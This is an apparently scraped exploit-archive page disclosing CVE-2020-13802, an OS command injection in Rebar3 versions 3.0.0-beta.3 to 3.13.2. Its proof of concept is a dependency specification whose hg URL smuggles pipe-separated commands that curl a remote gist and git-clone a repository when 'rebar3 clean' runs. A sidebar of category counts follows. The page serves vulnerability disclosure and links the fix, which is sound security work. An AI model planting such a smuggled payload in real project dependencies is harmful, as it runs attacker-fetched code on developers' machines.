

Rebar3 3.13.2 Command Injection

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Rebar3 versions 3.0.0-beta.3 through 3.13.2 suffer from a command injection vulnerability.

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```
# Exploit Title: Rebar3 - OS command injection
# Date: 2020-06-03
# Exploit Author: Alexey Pronin (vulnbe)
# Vendor Homepage: https://rebar3.org
# Software Link: https://github.com/erlang/rebar3
# Versions affected: 3.0.0-beta.3 - 3.13.2
# CVE: CVE-2020-13802

1. Description:
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Rebar3 versions 3.0.0-beta.3 to 3.13.2 are vulnerable to OS command injection via URL parameter of dependency
specification.

2. Proof of Concept:
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* Add dependency with any of the following specification:

{
  'dep-helper', ".*", {
    hg, "https://github.com/vulnbe/poc-rebar3-helper.git?
repo=main&threadid=19:428af44abb014e318e7d225a4a88acc2&thread.tacv2&ctx=channel|curl|t-
fa5l|thttps://gist.githubusercontent.com/vulnbe/6e5ec8fae3b0dbee8e5f1f15c1462e48/raw/94616f0ee52935fda458c889d6|
git\|tclone|thttps://github.com/vulnbe/poc-rebar3-helper.git",
    "dep-helper"
  }
}

or

{
  'poc_rebar3', ".*", {
    git, "https://github.com/vulnbe/poc-rebar3.git"
  }
}

* Execute command: rebar3 clean

References
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* [Rebar3 vulnerability analysis] (https://vuln.be/post/rebar3-command-injection/)
* [POC] (https://github.com/vulnbe/poc-rebar3.git)
* [Vulnerability remediation FR] (https://github.com/erlang/rebar3/pull/2302)
* [CVE-2020-13802] (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13802)
```

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11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
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PHP (5,093)

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Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

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Linux (44,315)

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NetBSD (255)

OpenBSD (479)

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Solaris (1,607)

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